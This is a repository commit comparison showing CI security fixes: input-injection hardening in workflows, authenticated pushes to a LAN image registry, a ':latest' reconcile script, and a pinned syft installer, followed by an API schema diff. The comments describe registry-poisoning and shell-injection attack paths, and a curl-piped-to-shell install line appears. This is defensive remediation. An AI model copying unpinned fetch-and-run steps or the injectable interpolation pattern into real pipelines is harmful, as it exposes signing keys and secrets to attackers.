Compare commits
34
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
35ba64ca0f | ||
|
|
5f71aeb024 | ||
|
|
e1adc5d6d7 | ||
|
|
76a271b97a | ||
|
|
b53568c99f | ||
|
|
db0637928b | ||
|
|
22bc81238d | ||
|
|
de6b9e94ec | ||
|
|
5ebe840320 | ||
|
|
4b1ce6b905 | ||
|
|
a11c672bea | ||
|
|
cbd0e9664d | ||
|
|
66df1624b6 | ||
|
|
6f07bd94d3 | ||
|
|
d2085879da | ||
|
|
19f637ea6e | ||
|
|
4a0d0ce587 | ||
|
|
0d94ef0dbe | ||
|
|
a1b8627e70 | ||
|
|
91fa32fbb6 | ||
|
|
defdfbdb58 | ||
|
|
8103958169 | ||
|
|
ce8f3e9eaf | ||
|
|
bd383f1820 | ||
|
|
8728d90e01 | ||
|
|
3d4a659959 | ||
|
|
a418d2852a | ||
|
|
110ac9b663 | ||
|
|
1d6f4760f3 | ||
|
|
9dfbc2f895 | ||
|
|
52a9d02355 | ||
|
|
e5ca213339 | ||
|
|
e5416646f9 | ||
|
|
b79d90b463 |
Executable
+68
@@ -0,0 +1,68 @@
|
||||
#!/usr/bin/env bash
|
||||
# Assert that a builder image's :latest is the SAME manifest as its content key, and
|
||||
# re-point it when it isn't.
|
||||
#
|
||||
# This is what we do instead of pinning consumers by @sha256: digest
|
||||
# (security-review-2026-08-05, H-6 — see the reasoning at the top of docker.yml). The
|
||||
# content key is a hash of the ci/ tree, so "which image should :latest be?" has an
|
||||
# answer derivable from the commit alone. Checking it on every run turns :latest from a
|
||||
# tag someone remembered to move into a function of the tree.
|
||||
#
|
||||
# Two different things make them diverge and neither is distinguishable from here:
|
||||
#
|
||||
# - Someone overwrote :latest out of band. Post-fix that needs the push credential,
|
||||
# but it is exactly the H-6 attack and it must not pass silently.
|
||||
# - ci/ was reverted. The older key is already a cache hit, so nothing rebuilds and
|
||||
# nothing re-points :latest — it stays on the newer build forever while every
|
||||
# consumer pulls a builder that does not match the tree it is building. That bug
|
||||
# predates this script.
|
||||
#
|
||||
# Both are repaired identically, so: repair, and shout. Failing the build instead would
|
||||
# turn a legitimate revert into a red main with no way forward.
|
||||
#
|
||||
# Reads go to the anonymous port, the single write to the authenticated one.
|
||||
set -euo pipefail
|
||||
|
||||
IMAGE="${1:?usage: reconcile-latest.sh <image> <content-key>}"
|
||||
KEY="${2:?usage: reconcile-latest.sh <image> <content-key>}"
|
||||
: "${CI_REGISTRY:?CI_REGISTRY not set}"
|
||||
: "${CI_REGISTRY_PUSH:?CI_REGISTRY_PUSH not set}"
|
||||
: "${CI_REGISTRY_PASSWORD:?CI_REGISTRY_PASSWORD not set}"
|
||||
|
||||
ACCEPT='Accept: application/vnd.docker.distribution.manifest.v2+json, application/vnd.oci.image.manifest.v1+json, application/vnd.oci.image.index.v1+json, application/vnd.docker.distribution.manifest.list.v2+json'
|
||||
|
||||
# Digest of a tag, or empty if the tag does not exist. Never fails the script itself —
|
||||
# "missing" is a state this has to reason about, not an error to abort on.
|
||||
digest_of() {
|
||||
curl -sfI -H "$ACCEPT" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$1" 2>/dev/null \
|
||||
| tr -d '\r' | sed -n 's/^[Dd]ocker-[Cc]ontent-[Dd]igest: //p' || true
|
||||
}
|
||||
|
||||
key_digest=$(digest_of "$KEY")
|
||||
latest_digest=$(digest_of latest)
|
||||
|
||||
if [ -z "$key_digest" ]; then
|
||||
echo "::error::$IMAGE:$KEY has no manifest — the build or push above did not land"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ "$key_digest" = "$latest_digest" ]; then
|
||||
echo "$IMAGE:latest == :$KEY ($key_digest)"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo "::warning::$IMAGE:latest did not match its content key :$KEY — re-pointing it. If ci/ was not just reverted, someone overwrote this tag out of band: check the registry access log on home-ci-core."
|
||||
echo " was: ${latest_digest:-<no :latest tag>}"
|
||||
echo " wanted: $key_digest (:$KEY)"
|
||||
|
||||
tmp=$(mktemp)
|
||||
trap 'rm -f "$tmp"' EXIT
|
||||
media_type=$(curl -sfI -H "$ACCEPT" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY" \
|
||||
| tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p')
|
||||
curl -sf -H "$ACCEPT" -o "$tmp" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY"
|
||||
curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $media_type" \
|
||||
--data-binary @"$tmp" "http://$CI_REGISTRY_PUSH/v2/$IMAGE/manifests/latest"
|
||||
|
||||
now=$(digest_of latest)
|
||||
[ "$now" = "$key_digest" ] || { echo "::error::re-point failed: :latest is $now"; exit 1; }
|
||||
echo "$IMAGE:latest re-pointed to $key_digest"
|
||||
@@ -41,9 +41,23 @@ jobs:
|
||||
env:
|
||||
REGISTRY_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
|
||||
UPDATE_MANIFEST_KEY: ${{ secrets.UPDATE_MANIFEST_KEY }}
|
||||
# Through the ENVIRONMENT, never interpolated into the script body. A `${{ }}` expansion
|
||||
# is a raw textual substitution performed BEFORE the shell sees the line, so a
|
||||
# workflow_dispatch input containing shell syntax executes as this step — and this is the
|
||||
# step holding UPDATE_MANIFEST_KEY, the Ed25519 key every host pins to decide whether an
|
||||
# update is real (2026-08-05 review H-6). As `$INPUT_TAG` it is only ever data.
|
||||
INPUT_TAG: ${{ inputs.tag }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
TAG="${{ inputs.tag }}"
|
||||
TAG="$INPUT_TAG"
|
||||
# Shape-check before the value reaches a URL or a filename: tags are `vX.Y.Z[-suffix]`.
|
||||
case "$TAG" in
|
||||
v[0-9]*) ;;
|
||||
*) echo "refusing to publish for a tag that is not vX.Y.Z: $TAG" >&2; exit 1 ;;
|
||||
esac
|
||||
case "$TAG" in
|
||||
*[!A-Za-z0-9.+_-]*) echo "tag has characters no release tag has: $TAG" >&2; exit 1 ;;
|
||||
esac
|
||||
case "$TAG" in
|
||||
*-*) echo "pre-release tag $TAG — not publishing to the stable update feed"; exit 0 ;;
|
||||
esac
|
||||
@@ -67,4 +81,7 @@ jobs:
|
||||
GITEA_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
|
||||
DISCORD_RELEASE_WEBHOOK: ${{ secrets.DISCORD_RELEASE_WEBHOOK }}
|
||||
ALLOW_PRERELEASE: ${{ inputs.allow_prerelease }}
|
||||
run: bash scripts/ci/discord-announce.sh "${{ inputs.tag }}"
|
||||
# Same reasoning as the publish step above: the input is data in the environment, never
|
||||
# text spliced into the command line.
|
||||
INPUT_TAG: ${{ inputs.tag }}
|
||||
run: bash scripts/ci/discord-announce.sh "$INPUT_TAG"
|
||||
|
||||
@@ -29,4 +29,9 @@ jobs:
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Tier-3 GPU stream benchmark
|
||||
run: bash scripts/bench/gpu-stream.sh "${{ inputs.mode || '1920x1080x120' }}" 12
|
||||
# Through the environment, not interpolated into the command line: a `${{ }}` expansion is
|
||||
# substituted before the shell parses the line, so an input carrying shell syntax would run
|
||||
# as this step (2026-08-05 review H-6).
|
||||
env:
|
||||
BENCH_MODE: ${{ inputs.mode || '1920x1080x120' }}
|
||||
run: bash scripts/bench/gpu-stream.sh "$BENCH_MODE" 12
|
||||
|
||||
@@ -46,7 +46,10 @@ env:
|
||||
REGISTRY: git.unom.io
|
||||
OWNER: unom
|
||||
PACKAGE: punktfunk-decky # generic-registry package name
|
||||
PLUGIN: punktfunk # plugin.json "name" == zip top-level dir
|
||||
# The plugin's ON-DISK dir == the zip's top-level dir. Deliberately NOT plugin.json "name"
|
||||
# (that is the brand-cased label Decky lists, and it locates a plugin by matching it, not by
|
||||
# the folder) — see clients/decky/scripts/package.sh.
|
||||
PLUGIN: punktfunk
|
||||
|
||||
jobs:
|
||||
build-publish:
|
||||
|
||||
+107
-21
@@ -3,13 +3,18 @@
|
||||
# Two very different image families now:
|
||||
#
|
||||
# BUILDER images (punktfunk-rust-ci{,-noble,-arm64cross}, punktfunk-fedora{,44}-rpm)
|
||||
# live on the LAN registry (home-ci-core, 192.168.1.58:5010 — unom/infra
|
||||
# runners/ci-core/) and are CONTENT-KEYED: the tag is a hash of what they are built
|
||||
# from (the ci/ tree, + rust-toolchain.toml for the cross image), and a build only
|
||||
# happens when that key has no manifest yet. A push that doesn't touch ci/ costs one
|
||||
# curl per image (~seconds), pushes nothing over the WAN, and mints no per-SHA tag
|
||||
# debris on the runners — the failure mode that filled the fleet's disks. `:latest`
|
||||
# is re-pushed alongside every new key and is what the consuming workflows pin.
|
||||
# live on the LAN registry (home-ci-core — unom/infra runners/ci-core/) and are
|
||||
# CONTENT-KEYED: the tag is a hash of what they are built from (the ci/ tree, +
|
||||
# rust-toolchain.toml for the cross image), and a build only happens when that key
|
||||
# has no manifest yet. A push that doesn't touch ci/ costs one curl per image
|
||||
# (~seconds), pushes nothing over the WAN, and mints no per-SHA tag debris on the
|
||||
# runners — the failure mode that filled the fleet's disks. `:latest` is re-pushed
|
||||
# alongside every new key and is what the consuming workflows pin.
|
||||
#
|
||||
# READS come from :5010 and need no credential. WRITES go to :5011 and need
|
||||
# CI_REGISTRY_PASSWORD. Same store behind both — a registry keys by repository name,
|
||||
# not by the host:port the client used — so an image pushed to :5011 is the same
|
||||
# image every consumer pulls from :5010.
|
||||
#
|
||||
# APP images (punktfunk-web, punktfunk-docs) are deployables: they keep going to the
|
||||
# Gitea registry (git.unom.io) with :latest + :sha-<8> (+ :vX.Y.Z on tags), because
|
||||
@@ -17,8 +22,38 @@
|
||||
#
|
||||
# Host and clients are intentionally NOT containerized (see CLAUDE.md "What's left").
|
||||
#
|
||||
# REGISTRY_TOKEN: repo Actions secret, a PAT with write:package scope (app images only —
|
||||
# the LAN registry is unauthenticated inside the LAN).
|
||||
# REGISTRY_TOKEN: repo Actions secret, a PAT with write:package scope (app images).
|
||||
# CI_REGISTRY_PASSWORD: repo Actions secret, the LAN registry's push credential for user
|
||||
# `ci`. Generated on ci-core into /srv/ci/stack/registry-secret; rotate in both places.
|
||||
#
|
||||
# --- security-review-2026-08-05 H-6, FIXED 2026-08-05 -------------------------------
|
||||
# The registry used to accept anonymous pushes from any LAN peer, and every
|
||||
# secret-bearing job in this repo runs INSIDE an image pulled from it. Attacker
|
||||
# position #1 of the project's own threat model did not need to break any signing
|
||||
# logic: push one tag, and the next android.yml run executes their code in the same job
|
||||
# that does `echo "$RELEASE_KEYSTORE_BASE64" | base64 -d > release.jks`. Same shape for
|
||||
# rpm.yml (RPM_GPG_PRIVATE_KEY) and android-promote.yml (SERVICE_ACCOUNT_JSON).
|
||||
#
|
||||
# The infra half is done (unom/infra runners/ci-core/): :5010 serves GET/HEAD only and
|
||||
# refuses everything else with 405, :5011 demands basic auth on every request. The half
|
||||
# in this file is done below: pushes and release-tag manifest PUTs authenticate.
|
||||
#
|
||||
# ⚠ On the second half as the review originally worded it — "pin consumers by @sha256:
|
||||
# digest". We deliberately do something else, because after authentication the digest
|
||||
# pin no longer buys what it was meant to buy. The set of people who can overwrite a tag
|
||||
# is now exactly the set who can push to main and edit a pinned digest in this very
|
||||
# file: a pin defends against nobody it did not already trust, while costing a
|
||||
# two-commit dance on every ci/ change (~3x a month) during which consumers silently run
|
||||
# a builder image that predates the ci/ change they are testing.
|
||||
#
|
||||
# What actually closes the residual gap — a tag quietly overwritten out of band — is
|
||||
# making :latest a CHECKED function of the tree instead of a tag someone remembered to
|
||||
# move. The "Reconcile :latest" step below asserts on every run that :latest and
|
||||
# :ck-$KEY are the same digest, repairs it when they are not, and says so loudly. That
|
||||
# catches an out-of-band overwrite on the next push to main, needs no churn, and fixes
|
||||
# a real pre-existing bug on the side: reverting ci/ used to leave :latest pointing at
|
||||
# the newer build forever. Revisit inline digest pins if the push credential ever leaves
|
||||
# the maintainer trust set.
|
||||
#
|
||||
# Bootstrap note: consuming workflows pull <LAN>/punktfunk-rust-ci:latest, so the LAN
|
||||
# registry must hold a seeded :latest once (done 2026-07-29 from the last Gitea-registry
|
||||
@@ -42,7 +77,10 @@ on:
|
||||
env:
|
||||
REGISTRY: git.unom.io
|
||||
OWNER: unom
|
||||
# Read port (anonymous, GET/HEAD only) and write port (basic auth). Two doors onto
|
||||
# one store; see the header.
|
||||
CI_REGISTRY: 192.168.1.58:5010
|
||||
CI_REGISTRY_PUSH: 192.168.1.58:5011
|
||||
|
||||
jobs:
|
||||
builders:
|
||||
@@ -98,21 +136,40 @@ jobs:
|
||||
echo "hit=false" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
# Tagged for the WRITE port: :5010 refuses a push outright, so a tag that names it
|
||||
# can only fail. Consumers still pull the identical image from :5010.
|
||||
- name: Build
|
||||
if: steps.exists.outputs.hit == 'false'
|
||||
# --pull is cheap now: base images come through the ci-core pull-through mirror.
|
||||
run: |
|
||||
docker build --pull ${{ matrix.buildargs }} \
|
||||
-f "${{ matrix.dockerfile }}" \
|
||||
-t "$CI_REGISTRY/${{ matrix.image }}:$KEY" \
|
||||
-t "$CI_REGISTRY/${{ matrix.image }}:latest" \
|
||||
-t "$CI_REGISTRY_PUSH/${{ matrix.image }}:$KEY" \
|
||||
-t "$CI_REGISTRY_PUSH/${{ matrix.image }}:latest" \
|
||||
ci
|
||||
|
||||
- name: Log in to the LAN registry
|
||||
run: |
|
||||
echo "$CI_REGISTRY_PASSWORD" | docker login "$CI_REGISTRY_PUSH" -u ci --password-stdin
|
||||
env:
|
||||
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
|
||||
|
||||
- name: Push
|
||||
if: steps.exists.outputs.hit == 'false'
|
||||
run: |
|
||||
docker push "$CI_REGISTRY/${{ matrix.image }}:$KEY"
|
||||
docker push "$CI_REGISTRY/${{ matrix.image }}:latest"
|
||||
docker push "$CI_REGISTRY_PUSH/${{ matrix.image }}:$KEY"
|
||||
docker push "$CI_REGISTRY_PUSH/${{ matrix.image }}:latest"
|
||||
|
||||
# :latest must be whatever ci/ says it is, on every run — not only on the runs that
|
||||
# happened to build. Two things break that: an out-of-band overwrite (the H-6
|
||||
# attack, now only reachable by someone holding the push credential), and a plain
|
||||
# revert of ci/, which leaves :latest on the newer build because the older key is
|
||||
# already a cache hit and nothing re-points it. Both look identical from here and
|
||||
# both are repaired the same way, so repair and shout rather than fail the build.
|
||||
- name: Reconcile :latest with the content key
|
||||
run: .gitea/scripts/reconcile-latest.sh "${{ matrix.image }}" "$KEY"
|
||||
env:
|
||||
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
|
||||
|
||||
# A release pins reproducible builder images without any rebuild: copy the key's
|
||||
# manifest to a vX.Y.Z tag via the registry API (no image bytes move).
|
||||
@@ -124,8 +181,19 @@ jobs:
|
||||
| tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p')
|
||||
curl -sf -H "$ACCEPT" -o /tmp/manifest.json \
|
||||
"http://$CI_REGISTRY/v2/${{ matrix.image }}/manifests/$KEY"
|
||||
curl -sf -X PUT -H "Content-Type: $MT" --data-binary @/tmp/manifest.json \
|
||||
"http://$CI_REGISTRY/v2/${{ matrix.image }}/manifests/$GITHUB_REF_NAME"
|
||||
curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $MT" \
|
||||
--data-binary @/tmp/manifest.json \
|
||||
"http://$CI_REGISTRY_PUSH/v2/${{ matrix.image }}/manifests/$GITHUB_REF_NAME"
|
||||
env:
|
||||
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
|
||||
|
||||
# Today the job container is ephemeral (the ubuntu-24.04 label is a docker://
|
||||
# image), so the credential docker login wrote would die with it anyway. Don't
|
||||
# make that a load-bearing assumption about a runner label somebody may change to
|
||||
# a host runner later.
|
||||
- name: Log out of the LAN registry
|
||||
if: always()
|
||||
run: docker logout "$CI_REGISTRY_PUSH" || true
|
||||
|
||||
# The aarch64 CROSS builder — a SEPARATE job because it is `FROM punktfunk-rust-ci:latest`
|
||||
# (the LAN copy) and so must not race the matrix entry that publishes that base. Consumed
|
||||
@@ -164,15 +232,26 @@ jobs:
|
||||
run: |
|
||||
docker build --pull \
|
||||
-f ci/rust-ci-arm64cross.Dockerfile \
|
||||
-t "$CI_REGISTRY/$IMAGE:$KEY" \
|
||||
-t "$CI_REGISTRY/$IMAGE:latest" \
|
||||
-t "$CI_REGISTRY_PUSH/$IMAGE:$KEY" \
|
||||
-t "$CI_REGISTRY_PUSH/$IMAGE:latest" \
|
||||
.
|
||||
|
||||
- name: Log in to the LAN registry
|
||||
run: |
|
||||
echo "$CI_REGISTRY_PASSWORD" | docker login "$CI_REGISTRY_PUSH" -u ci --password-stdin
|
||||
env:
|
||||
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
|
||||
|
||||
- name: Push
|
||||
if: steps.exists.outputs.hit == 'false'
|
||||
run: |
|
||||
docker push "$CI_REGISTRY/$IMAGE:$KEY"
|
||||
docker push "$CI_REGISTRY/$IMAGE:latest"
|
||||
docker push "$CI_REGISTRY_PUSH/$IMAGE:$KEY"
|
||||
docker push "$CI_REGISTRY_PUSH/$IMAGE:latest"
|
||||
|
||||
- name: Reconcile :latest with the content key
|
||||
run: .gitea/scripts/reconcile-latest.sh "$IMAGE" "$KEY"
|
||||
env:
|
||||
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
|
||||
|
||||
- name: Tag for release
|
||||
if: startsWith(github.ref, 'refs/tags/v')
|
||||
@@ -182,8 +261,15 @@ jobs:
|
||||
| tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p')
|
||||
curl -sf -H "$ACCEPT" -o /tmp/manifest.json \
|
||||
"http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY"
|
||||
curl -sf -X PUT -H "Content-Type: $MT" --data-binary @/tmp/manifest.json \
|
||||
"http://$CI_REGISTRY/v2/$IMAGE/manifests/$GITHUB_REF_NAME"
|
||||
curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $MT" \
|
||||
--data-binary @/tmp/manifest.json \
|
||||
"http://$CI_REGISTRY_PUSH/v2/$IMAGE/manifests/$GITHUB_REF_NAME"
|
||||
env:
|
||||
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
|
||||
|
||||
- name: Log out of the LAN registry
|
||||
if: always()
|
||||
run: docker logout "$CI_REGISTRY_PUSH" || true
|
||||
|
||||
# Deployable app images — unchanged flow, Gitea registry, per-SHA + release tags.
|
||||
apps:
|
||||
|
||||
@@ -38,10 +38,18 @@ jobs:
|
||||
with:
|
||||
fetch-depth: 0
|
||||
# Pinned syft (keep in sync with the version validated against this repo; bump deliberately).
|
||||
#
|
||||
# The BINARY version was pinned; the INSTALLER was not — it was fetched from `main` and piped
|
||||
# into a shell, so whatever that branch happened to say at job time ran here, with the job's
|
||||
# environment (2026-08-05 review H-6). Pinning the script to the same tag as the binary makes
|
||||
# the whole step reproducible: bump the tag in both places together.
|
||||
- name: Install syft
|
||||
env:
|
||||
SYFT_VERSION: v1.49.0
|
||||
run: |
|
||||
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh \
|
||||
| sh -s -- -b /usr/local/bin v1.49.0
|
||||
set -euo pipefail
|
||||
curl -sSfL "https://raw.githubusercontent.com/anchore/syft/${SYFT_VERSION}/install.sh" \
|
||||
| sh -s -- -b /usr/local/bin "$SYFT_VERSION"
|
||||
- name: Generate SBOM
|
||||
run: |
|
||||
git config --global --add safe.directory "$PWD"
|
||||
|
||||
+157
-9
@@ -10,7 +10,7 @@
|
||||
"name": "MIT OR Apache-2.0",
|
||||
"identifier": "MIT OR Apache-2.0"
|
||||
},
|
||||
"version": "0.23.0"
|
||||
"version": "0.24.0"
|
||||
},
|
||||
"paths": {
|
||||
"/api/v1/clients": {
|
||||
@@ -1052,7 +1052,7 @@
|
||||
"library"
|
||||
],
|
||||
"summary": "Fetch one cover-art image for a library entry",
|
||||
"description": "Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams\nthe image bytes. For a Steam title, the host's own local Steam cache is tried first (exact —\nit's what the user's Steam client already shows for it), the public Steam CDN's flat URL\nconvention as a fallback (newer titles' CDN assets can live at a per-asset-hash path the host\ncan't predict, in which case this 404s and the client falls through to its next art candidate).\nOnly Steam ids are backed today; any other store 404s.",
|
||||
"description": "Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams\nthe image bytes. Any id stored in the host's catalog (manual entries, provider-synced entries,\nand a library plugin's claimed-store entries) serves its local art file. A Steam title falls back\nto the in-host scanner's resolver: the host's own local Steam cache first (exact — it's what the\nuser's Steam client already shows for it), the public Steam CDN's flat URL convention second\n(newer titles' CDN assets can live at a per-asset-hash path the host can't predict, in which case\nthis 404s and the client falls through to its next art candidate).",
|
||||
"operationId": "getLibraryArt",
|
||||
"parameters": [
|
||||
{
|
||||
@@ -1307,7 +1307,7 @@
|
||||
"library"
|
||||
],
|
||||
"summary": "Replace a provider's library entries (declarative reconcile)",
|
||||
"description": "Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the\nprovider's desired list, keyed by its own stable `external_id` — the host diffs, keeps each\nsurviving title's host id stable across reconciles, drops orphans, and never touches manual\nentries or other providers'. An empty array removes everything the provider owns. Emits\n`library.changed` with the provider as `source`.",
|
||||
"description": "Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the\nprovider's desired list, keyed by its own stable `external_id` — the host diffs, keeps each\nsurviving title's host id stable across reconciles, drops orphans, and never touches manual\nentries or other providers'. An empty array removes everything the provider owns. Emits\n`library.changed` with the provider as `source`.\n\n`?store=` additionally **claims** that store for the provider: its entries then surface with\ndeterministic `<store>:<external_id>` ids and the store's own badge, instead of opaque\n`custom:<id>` ones — which is what lets a library plugin reproduce the entries an in-host scanner\nused to produce, right down to the GameStream app ids and client-side art caches. One provider\nper store; a second claimant gets 409. While a claim is held the matching built-in scanner is\nsuppressed, so the two never double-list. The claim is released by `DELETE`, not by an empty\nreconcile (a store can legitimately have zero installed titles).",
|
||||
"operationId": "reconcileProviderEntries",
|
||||
"parameters": [
|
||||
{
|
||||
@@ -1318,6 +1318,15 @@
|
||||
"schema": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "store",
|
||||
"in": "query",
|
||||
"description": "Claim this store for the provider ([a-z0-9_-], `custom`/`manual` reserved)",
|
||||
"required": false,
|
||||
"schema": {
|
||||
"type": "string"
|
||||
}
|
||||
}
|
||||
],
|
||||
"requestBody": {
|
||||
@@ -1348,7 +1357,7 @@
|
||||
}
|
||||
},
|
||||
"400": {
|
||||
"description": "Invalid provider id or payload",
|
||||
"description": "Invalid provider id, store id, or payload",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
@@ -1367,6 +1376,16 @@
|
||||
}
|
||||
}
|
||||
},
|
||||
"409": {
|
||||
"description": "That store is already claimed by another provider",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/ApiError"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"500": {
|
||||
"description": "Could not persist the catalog",
|
||||
"content": {
|
||||
@@ -4159,7 +4178,8 @@
|
||||
"tier",
|
||||
"platforms",
|
||||
"compatible",
|
||||
"update_available"
|
||||
"update_available",
|
||||
"categories"
|
||||
],
|
||||
"properties": {
|
||||
"author": {
|
||||
@@ -4172,6 +4192,13 @@
|
||||
],
|
||||
"description": "A revocation covering the catalogued version — do not offer this without shouting."
|
||||
},
|
||||
"categories": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"description": "What kind of plugin this is — the console filters Browse by these, and the Game sources\nsurface's \"Add a source\" rail shows exactly the `library` ones (design D5/D6)."
|
||||
},
|
||||
"compatible": {
|
||||
"type": "boolean",
|
||||
"description": "Can this host install it?"
|
||||
@@ -4179,6 +4206,13 @@
|
||||
"description": {
|
||||
"type": "string"
|
||||
},
|
||||
"detected": {
|
||||
"type": [
|
||||
"boolean",
|
||||
"null"
|
||||
],
|
||||
"description": "Whether the launcher this plugin scans looks **installed on this host** (design D8), from the\nindex's own existence probes. `null` = the entry declares no probes for this platform, which\nthe console renders as \"unknown\" rather than \"not installed\"."
|
||||
},
|
||||
"homepage": {
|
||||
"type": [
|
||||
"string",
|
||||
@@ -4365,6 +4399,17 @@
|
||||
],
|
||||
"description": "The external provider owning this entry (RFC §8), set ONLY by the provider reconcile\nAPI — `None` = a manual entry, which no provider operation ever touches, and which the\nmanual CRUD alone may edit (the converse holds too: manual CRUD refuses provider-owned\nentries, so ownership is never ambiguous)."
|
||||
},
|
||||
"role": {
|
||||
"$ref": "#/components/schemas/GameRole",
|
||||
"description": "Whether this entry is a game or the launcher itself — see [`GameRole`]."
|
||||
},
|
||||
"store": {
|
||||
"type": [
|
||||
"string",
|
||||
"null"
|
||||
],
|
||||
"description": "The **store this entry was claimed under** (D2), stamped by a `?store=`-qualified reconcile.\n`None` = an unclaimed provider entry or a manual one, both of which surface as `custom`.\n\nMaterialized onto the entry rather than looked up in [`Catalog::claims`] on every read so an\nentry is self-describing: its id and its `store` badge derive from the entry alone, and stay\ncorrect even while the claim map is being rewritten."
|
||||
},
|
||||
"title": {
|
||||
"type": "string"
|
||||
}
|
||||
@@ -4409,6 +4454,10 @@
|
||||
},
|
||||
"description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config."
|
||||
},
|
||||
"role": {
|
||||
"$ref": "#/components/schemas/GameRole",
|
||||
"description": "Whether this entry is a game or the launcher itself — see [`GameRole`]. A hand-added launcher\nentry is legal (an operator may want a \"Steam\" tile without installing the steam plugin)."
|
||||
},
|
||||
"title": {
|
||||
"type": "string"
|
||||
}
|
||||
@@ -4467,6 +4516,17 @@
|
||||
"type": "object",
|
||||
"description": "What an operator (or a provider plugin) can tell the host about recognizing a title — the wire\nhalf of [`DetectSpec`], and the only part of it that is ever accepted from outside.\n\nDeliberately a **subset**: the store-derived signals (a Steam appid, a launcher's environment\nmarker) are things the host discovers for itself and would be meaningless — or dangerous — to take\non someone's word. What is left is what a provider genuinely knows and the host cannot guess: where\nthe title is installed, which executable is the game, what the process is called. All three are\noptional; supplying none is the same as supplying no hint at all.\n\nNever returned by the catalog API — see the module docs on why detect data does not cross the wire\noutbound.",
|
||||
"properties": {
|
||||
"env_marker": {
|
||||
"oneOf": [
|
||||
{
|
||||
"type": "null"
|
||||
},
|
||||
{
|
||||
"$ref": "#/components/schemas/EnvMarker",
|
||||
"description": "A launcher-stamped environment marker (D3) — see [`EnvMarker`]."
|
||||
}
|
||||
]
|
||||
},
|
||||
"exe": {
|
||||
"type": [
|
||||
"string",
|
||||
@@ -4487,6 +4547,15 @@
|
||||
"null"
|
||||
],
|
||||
"description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]."
|
||||
},
|
||||
"steam_appid": {
|
||||
"type": [
|
||||
"integer",
|
||||
"null"
|
||||
],
|
||||
"format": "int32",
|
||||
"description": "The Steam appid, for a title Steam itself installed (D3). On Linux this is the **sharpest**\nsignal that exists — Steam wraps every launch, native or Proton, in\n`reaper SteamLaunch AppId=<appid>`, whose lifetime is exactly the game's — so without it a\nsteam plugin's lease tracking would degrade from reaper-exact to install-dir prefix matching.",
|
||||
"minimum": 0
|
||||
}
|
||||
}
|
||||
},
|
||||
@@ -4715,6 +4784,27 @@
|
||||
}
|
||||
}
|
||||
},
|
||||
"EnvMarker": {
|
||||
"type": "object",
|
||||
"description": "An environment variable a launcher stamps onto the game's process, identifying it.\n\nSerializable because it is now half of the inbound [`DetectHint`] too (D3) — a library plugin\nthat knows its launcher's marker (Heroic's `HEROIC_APP_NAME`, load-bearing under Proton) has to\nbe able to say so, since after extraction the host no longer reads that launcher's files itself.",
|
||||
"required": [
|
||||
"key"
|
||||
],
|
||||
"properties": {
|
||||
"key": {
|
||||
"type": "string",
|
||||
"description": "The variable name (e.g. `HEROIC_GAME_ID`).",
|
||||
"example": "HEROIC_APP_NAME"
|
||||
},
|
||||
"value": {
|
||||
"type": [
|
||||
"string",
|
||||
"null"
|
||||
],
|
||||
"description": "The exact value to require, when the launcher's value identifies *this* title. `None` matches\nthe key's mere presence — only safe for launchers that run one game at a time."
|
||||
}
|
||||
}
|
||||
},
|
||||
"EventKind": {
|
||||
"oneOf": [
|
||||
{
|
||||
@@ -5165,6 +5255,10 @@
|
||||
],
|
||||
"description": "The external provider owning this entry (custom-store entries synced by a provider\nplugin, RFC §8) — `None` for installed-store titles and manual custom entries. The\nconsole uses it for attribution; `GET /library?provider=` filters on it."
|
||||
},
|
||||
"role": {
|
||||
"$ref": "#/components/schemas/GameRole",
|
||||
"description": "Whether this entry is a game or the launcher itself — see [`GameRole`]."
|
||||
},
|
||||
"store": {
|
||||
"type": "string",
|
||||
"description": "Which store surfaced it: `\"steam\"` or `\"custom\"`.",
|
||||
@@ -5296,6 +5390,14 @@
|
||||
}
|
||||
}
|
||||
},
|
||||
"GameRole": {
|
||||
"type": "string",
|
||||
